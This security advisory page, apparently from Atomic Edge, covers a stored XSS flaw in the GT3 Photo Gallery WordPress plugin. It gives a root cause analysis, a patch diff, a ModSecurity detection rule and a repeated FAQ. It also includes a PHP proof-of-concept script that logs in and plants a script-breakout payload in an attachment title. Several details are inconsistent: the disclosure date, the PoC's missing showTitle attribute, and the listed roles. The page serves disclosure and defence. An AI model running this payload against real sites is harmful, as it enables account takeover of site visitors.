What is CVE-2026-65519?

CVE-2026-65519 is a Stored Cross-Site Scripting (XSS) vulnerability in the Photo Gallery – GT3 Image Gallery & Gutenberg Block Gallery plugin for WordPress, affecting versions up to and including 2.7.7.29. It allows authenticated users with author-level access or higher to inject arbitrary web scripts that execute when other users view the affected gallery page.

How does the vulnerability work?

The vulnerability occurs in the gallery shortcode rendering logic where the attachment post title is inserted into the HTML title attribute without proper output escaping. An attacker can create an attachment with a malicious title containing JavaScript, and when the gallery shortcode is rendered with the showTitle attribute enabled, the script executes in the browser of any user viewing the page.

Who is affected by this vulnerability?

Any WordPress site running the Photo Gallery – GT3 Image Gallery & Gutenberg Block Gallery plugin version 2.7.7.29 or earlier is affected. The attack requires an authenticated user with at least author-level permissions, meaning authors, contributors, editors, and administrators can exploit it. Regular subscribers and visitors are not directly affected but may be victims if they view a page containing the malicious script.

How can I check if my site is vulnerable?

Check the plugin version in your WordPress admin dashboard under Plugins. If the version is 2.7.7.29 or lower, your site is vulnerable. You can also review the source code of the file gt3-photo-video-gallery/core/actions/gt3pg_gallery_shortcode.php around line 318 to see if the post_title is used without esc_attr().

What is the risk level of this vulnerability?

The vulnerability has a CVSS score of 6.4, which is considered Medium severity. However, the practical impact can be high because a single compromised author account can lead to account takeover, data theft, or site defacement. The medium score reflects the need for authentication and the fact that it is a client-side script execution, not a direct server compromise.

How do I fix the vulnerability?

The fix is to update the plugin to version 2.7.7.30 or later, which includes a patch that wraps the attachment post title with the esc_attr() function to properly escape output. You should update the plugin as soon as possible from the WordPress admin dashboard or by downloading the latest version from the WordPress plugin repository.

What is the proof of concept (PoC) and how does it demonstrate the issue?

The PoC provided by Atomic Edge shows how an attacker with author credentials can log in, upload an attachment with a malicious title, and then embed the gallery shortcode with showTitle enabled. When a user views the page, the script executes, demonstrating the stored XSS. The PoC is for educational and authorized testing purposes only.

What does the patch change in the code?

The patch modifies the vulnerable line in gt3pg_gallery_shortcode.php by changing the concatenation to use esc_attr() on the post title. Specifically, it changes ‘ title=”‘.$attachment->post_title.’”‘ to ‘ title=”‘.esc_attr($attachment->post_title).’”‘. This function HTML-encodes special characters, preventing script injection.

Can this vulnerability be exploited without authentication?

No, the vulnerability requires an authenticated user with at least author-level access. This is because the attacker needs to create or modify an attachment, which is only possible for users with the capability to upload media. Unauthenticated users cannot directly exploit this vulnerability.

What are the potential impacts of successful exploitation?

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other users, including administrators. This can lead to session hijacking, forced actions on behalf of the victim, defacement of the site, or exfiltration of sensitive data. In some cases, it could be chained with other vulnerabilities to achieve server-side compromise.

Are there any temporary mitigations if I cannot update immediately?

If you cannot update immediately, you can mitigate the risk by disabling the showTitle attribute in any gallery shortcodes, as the vulnerable code path is only triggered when showTitle is set to 1. Additionally, you should review and restrict author-level user permissions, and consider using a Web Application Firewall (WAF) to block malicious payloads.

How was this vulnerability disclosed?

The vulnerability was disclosed on 2026-07-23 by Atomic Edge, a security research firm. They provided a detailed analysis, including root cause, patch analysis, and a proof of concept. The disclosure follows responsible disclosure practices, with the plugin vendor releasing a patched version (2.7.7.30) prior to public disclosure.

Published : August 10, 2026

CVE-2026-65519: Photo Gallery – GT3 Image Gallery & Gutenberg Block Gallery <= 2.7.7.29 Authenticated (Author+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

CVE ID CVE-2026-65519

Plugin gt3-photo-video-gallery

Severity Medium (CVSS 6.4)

CWE 79

Vulnerable Version 2.7.7.29

Patched Version 2.7.7.30

Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65519:

The Photo Gallery – GT3 Image Gallery & Gutenberg Block Gallery plugin for WordPress, versions up to and including 2.7.7.29, contains a Stored Cross-Site Scripting (XSS) vulnerability. The issue resides in the gallery shortcode rendering logic where attachment post titles are inserted directly into the HTML ‘title’ attribute without proper output escaping. Atomic Edge research confirms this allows authenticated users with author-level permissions or higher to inject arbitrary web scripts that execute in the context of any user viewing the affected gallery page. The vulnerability has a CVSS score of 6.4 and is classified under CWE-79.

Root Cause:

The vulnerability exists in the file `gt3-photo-video-gallery/core/actions/gt3pg_gallery_shortcode.php`. In the vulnerable version, at approximately line 318, the code constructs an HTML title attribute using the `$attachment->post_title` value directly. The specific line is: `$attrTitle = isset($atts[‘showTitle’]) && $atts[‘showTitle’] == ‘1’ ? ‘ title=”‘.$attachment->post_title.'”‘ : ”;`. This concatenation lacks any form of sanitization or output escaping. The `post_title` field for attachments in WordPress is normally controlled by the user, meaning an attacker with author-level access can create an attachment with a malicious title containing JavaScript. When the gallery shortcode renders, this unsanitized title becomes part of the HTML output, and any script payload within the title attribute is executed by the browser.

Exploitation:

An attacker with author-level credentials first crafts an attachment or modifies an existing one to have a malicious post title. This is achieved through the standard WordPress media upload interface or the post editor, where the title field is accessible. The payload would be something like `”>alert(document.cookie)` to break out of the title attribute context. The attacker then embeds the vulnerable gallery shortcode (e.g., `[gt3pg]`) into a page or post, ensuring the `showTitle` attribute is set to `1` in the shortcode parameters to trigger the vulnerable code path. When any user, including administrators, visits the published page, the injected script executes within their browser session. The attack requires no direct HTTP request to the plugin’s files; it relies on the standard WordPress content creation and rendering flow.

Patch Analysis:

The patch modifies the vulnerable line in `gt3-photo-video-gallery/core/actions/gt3pg_gallery_shortcode.php` by wrapping the `$attachment->post_title` value with WordPress’s `esc_attr()` function. The patched line is: `$attrTitle = isset($atts[‘showTitle’]) && $atts[‘showTitle’] == ‘1’ ? ‘ title=”‘.esc_attr($attachment->post_title).'”‘ : ”;`. The `esc_attr()` function HTML-encodes special characters such as “, `”`, and `&`, preventing them from being interpreted as markup or breaking out of the attribute context. This patch neutralizes the XSS payload by rendering it as inert text within the title attribute. The plugin version is also incremented from 2.7.7.29 to 2.7.7.30 to signal the security fix.

Impact:

Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary JavaScript in the browsers of other users, including site administrators. This can lead to full account takeover by stealing session cookies, forcing actions via CSRF, defacing the site, or exfiltrating sensitive data. While the CVSS score is 6.4 (medium severity), the practical impact is high because a single compromised author account can compromise the entire WordPress installation’s security. The vulnerability does not directly lead to remote code execution on the server, but the client-side script execution can be leveraged for privilege escalation or further attacks against the server if additional vulnerabilities are chained.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/gt3-photo-video-gallery/core/actions/gt3pg_gallery_shortcode.php
+++ b/gt3-photo-video-gallery/core/actions/gt3pg_gallery_shortcode.php
@@ -315,7 +315,7 @@
 				if(isset($image_meta['height'], $image_meta['width']) && $atts['thumb_type'] !== 'masonry') {
 					$orientation = ($image_meta['height'] < $image_meta['width']) ? 'landscape' : 'portrait';
 				}
-				$attrTitle = isset($atts['showTitle']) && $atts['showTitle'] == '1' ? ' title="'.$attachment->post_title.'"' : '';
+				$attrTitle = isset($atts['showTitle']) && $atts['showTitle'] == '1' ? ' title="'.esc_attr($attachment->post_title).'"' : '';

 				$image_output =
 					'<div class="gt3pg_img_wrap '.$orientation.'" style="background-image: url('.$media_url.');" data-width="'.$img_src_orig[1].'" data-height="'.$img_src_orig[2].'" data-i="'.$i.'" '.$attrTitle.'>
--- a/gt3-photo-video-gallery/gt3-photo-video-gallery.php
+++ b/gt3-photo-video-gallery/gt3-photo-video-gallery.php
@@ -4,7 +4,7 @@
  ** Plugin URI: https://gt3themes.com/
  ** Description: This powerful plugin lets you extend the functionality of the default WordPress gallery. You can easily customize the look and feel of the photo or video gallery.
  ** Discover the power of GT3themes products.
- ** Version: 2.7.7.29
+ ** Version: 2.7.7.30
  ** Author: GT3 Photo Gallery
  ** Author URI: https://gt3themes.com/
  ** Text Domain: gt3pg

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

SecRule REQUEST_URI "@rx /wp-admin/post.php|/wp-admin/post-new.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-65519 via GT3 Gallery XSS',severity:'CRITICAL',tag:'CVE-2026-65519'"
SecRule ARGS:post_title "@rx <script|javascript:|on[a-z]+s*=|&#x?[0-9a-fA-F]+;" "chain,t:none"
SecRule REQUEST_METHOD "@streq POST" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65519 - Photo Gallery – GT3 Image Gallery & Gutenberg Block Gallery <= 2.7.7.29 - Authenticated (Author+) Stored Cross-Site Scripting

// Configuration - change these values
$target_url = 'http://example.com'; // WordPress root URL
$username = 'author_user'; // Author-level username
$password = 'author_password'; // Author password

// Step 1: Login and get nonce for media upload
$login_url = $target_url . '/wp-login.php';
$post_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_exec($ch);
curl_close($ch);

echo "[+] Logged in as $usernamen";

// Step 2: Create a page with the malicious shortcode
// The payload breaks out of title attribute and injects a script
$payload = '"><script>alert("XSS-Pwned")</script>';

$page_content = '[gt3pg showTitle="1"]';
// Note: The actual attachment with the malicious title needs to be created first
// In practice, could use existing attachment or create one via media upload

// Creating a new attachment via REST API
$upload_url = $target_url . '/wp-json/wp/v2/media';
$upload_data = array(
    'title' => $payload,
    'slug' => 'malicious-attachment-' . time(),
    'status' => 'publish'
);

$ch = curl_init($upload_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($upload_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

$media_result = json_decode($response, true);
if (isset($media_result['id'])) {
    echo "[+] Created attachment with ID: " . $media_result['id'] . "n";
    echo "[+] Malicious title payload: " . $media_result['title']['raw'] . "n";
} else {
    echo "[!] Failed to create attachment. Response: " . $response . "n";
}

// Step 3: Create a post with the visible gallery shortcode
// This post will contain the gallery referencing the malicious attachment
$post_url = $target_url . '/wp-json/wp/v2/posts';
$post_data = array(
    'title' => 'Test XSS Gallery',
    'content' => '[gt3pg]n',
    'status' => 'publish'
);

$ch = curl_init($post_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

$post_result = json_decode($response, true);
if (isset($post_result['link'])) {
    echo "[+] Malicious post created: " . $post_result['link'] . "n";
    echo "[+] Any user visiting this URL will trigger the XSS payloadn";
} else {
    echo "[!] Failed to create post. Response: " . $response . "n";
}

// Cleanup
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}

echo "n[+] PoC complete. Vulnerable versions 2.7.7.29 and below will execute the script.n";

Frequently Asked Questions

What is CVE-2026-65519?
Vulnerability overview
CVE-2026-65519 is a Stored Cross-Site Scripting (XSS) vulnerability in the Photo Gallery – GT3 Image Gallery & Gutenberg Block Gallery plugin for WordPress, affecting versions up to and including 2.7.7.29. It allows authenticated users with author-level access or higher to inject arbitrary web scripts that execute when other users view the affected gallery page.
How does the vulnerability work?
Technical explanation
The vulnerability occurs in the gallery shortcode rendering logic where the attachment post title is inserted into the HTML title attribute without proper output escaping. An attacker can create an attachment with a malicious title containing JavaScript, and when the gallery shortcode is rendered with the showTitle attribute enabled, the script executes in the browser of any user viewing the page.
Who is affected by this vulnerability?
Affected users and roles
Any WordPress site running the Photo Gallery – GT3 Image Gallery & Gutenberg Block Gallery plugin version 2.7.7.29 or earlier is affected. The attack requires an authenticated user with at least author-level permissions, meaning authors, contributors, editors, and administrators can exploit it. Regular subscribers and visitors are not directly affected but may be victims if they view a page containing the malicious script.
How can I check if my site is vulnerable?
Detection steps
Check the plugin version in your WordPress admin dashboard under Plugins. If the version is 2.7.7.29 or lower, your site is vulnerable. You can also review the source code of the file gt3-photo-video-gallery/core/actions/gt3pg_gallery_shortcode.php around line 318 to see if the post_title is used without esc_attr().
What is the risk level of this vulnerability?
Severity and CVSS score
The vulnerability has a CVSS score of 6.4, which is considered Medium severity. However, the practical impact can be high because a single compromised author account can lead to account takeover, data theft, or site defacement. The medium score reflects the need for authentication and the fact that it is a client-side script execution, not a direct server compromise.
How do I fix the vulnerability?
Patch and update
The fix is to update the plugin to version 2.7.7.30 or later, which includes a patch that wraps the attachment post title with the esc_attr() function to properly escape output. You should update the plugin as soon as possible from the WordPress admin dashboard or by downloading the latest version from the WordPress plugin repository.
What is the proof of concept (PoC) and how does it demonstrate the issue?
PoC explanation
The PoC provided by Atomic Edge shows how an attacker with author credentials can log in, upload an attachment with a malicious title, and then embed the gallery shortcode with showTitle enabled. When a user views the page, the script executes, demonstrating the stored XSS. The PoC is for educational and authorized testing purposes only.
What does the patch change in the code?
Code diff analysis
The patch modifies the vulnerable line in gt3pg_gallery_shortcode.php by changing the concatenation to use esc_attr() on the post title. Specifically, it changes ‘ title=”‘.$attachment->post_title.’”‘ to ‘ title=”‘.esc_attr($attachment->post_title).’”‘. This function HTML-encodes special characters, preventing script injection.
Can this vulnerability be exploited without authentication?
Authentication requirement
No, the vulnerability requires an authenticated user with at least author-level access. This is because the attacker needs to create or modify an attachment, which is only possible for users with the capability to upload media. Unauthenticated users cannot directly exploit this vulnerability.
What are the potential impacts of successful exploitation?
Impact scenarios
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other users, including administrators. This can lead to session hijacking, forced actions on behalf of the victim, defacement of the site, or exfiltration of sensitive data. In some cases, it could be chained with other vulnerabilities to achieve server-side compromise.
Are there any temporary mitigations if I cannot update immediately?
Workarounds
If you cannot update immediately, you can mitigate the risk by disabling the showTitle attribute in any gallery shortcodes, as the vulnerable code path is only triggered when showTitle is set to 1. Additionally, you should review and restrict author-level user permissions, and consider using a Web Application Firewall (WAF) to block malicious payloads.
How was this vulnerability disclosed?
Disclosure timeline
The vulnerability was disclosed on 2026-07-23 by Atomic Edge, a security research firm. They provided a detailed analysis, including root cause, patch analysis, and a proof of concept. The disclosure follows responsible disclosure practices, with the plugin vendor releasing a patched version (2.7.7.30) prior to public disclosure.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started